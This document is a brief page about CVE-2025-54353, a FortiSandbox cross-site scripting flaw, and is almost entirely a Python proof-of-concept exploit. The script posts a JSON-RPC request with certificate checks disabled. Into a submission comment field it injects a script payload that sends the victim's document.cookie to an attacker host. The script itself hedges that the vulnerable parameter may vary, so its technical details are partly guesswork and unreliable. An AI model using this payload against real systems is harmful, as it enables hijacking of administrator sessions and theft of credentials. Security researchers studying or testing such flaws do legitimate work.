CVE-2025-54353 FortiSandbox XSS跨站脚本漏洞

import requests import urllib.parse # CVE-2025-54353 PoC - FortiSandbox XSS # Target: FortiSandbox versions 4.0-4.2, 4.4.0-4.4.7, 5.0.0-5.0.2 TARGET_URL = "https://<fortisandbox-ip>/jsonrpc" # XSS payload - Cookie stealing example xss_payload = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>' def exploit_xss(): """ Inject XSS payload into FortiSandbox via crafted HTTP request The vulnerable parameter may vary - common targets include: - job comments/descriptions - analysis submission notes - report titles """ headers = { 'Content-Type': 'application/json', 'Authorization': 'Bearer <session-token>' } # Example JSON-RPC request structure payload = { "method": "submit-analysis", "params": { "url": "http://malicious-site.com", "comment": xss_payload # XSS injection point }, "jsonrpc": "2.0" } try: response = requests.post( TARGET_URL, json=payload, headers=headers, verify=False, timeout=10 ) print(f"Response: {response.status_code}") return response.json() except requests.exceptions.RequestException as e: print(f"Error: {e}") return None if __name__ == "__main__": print("CVE-2025-54353 PoC - FortiSandbox XSS") exploit_xss()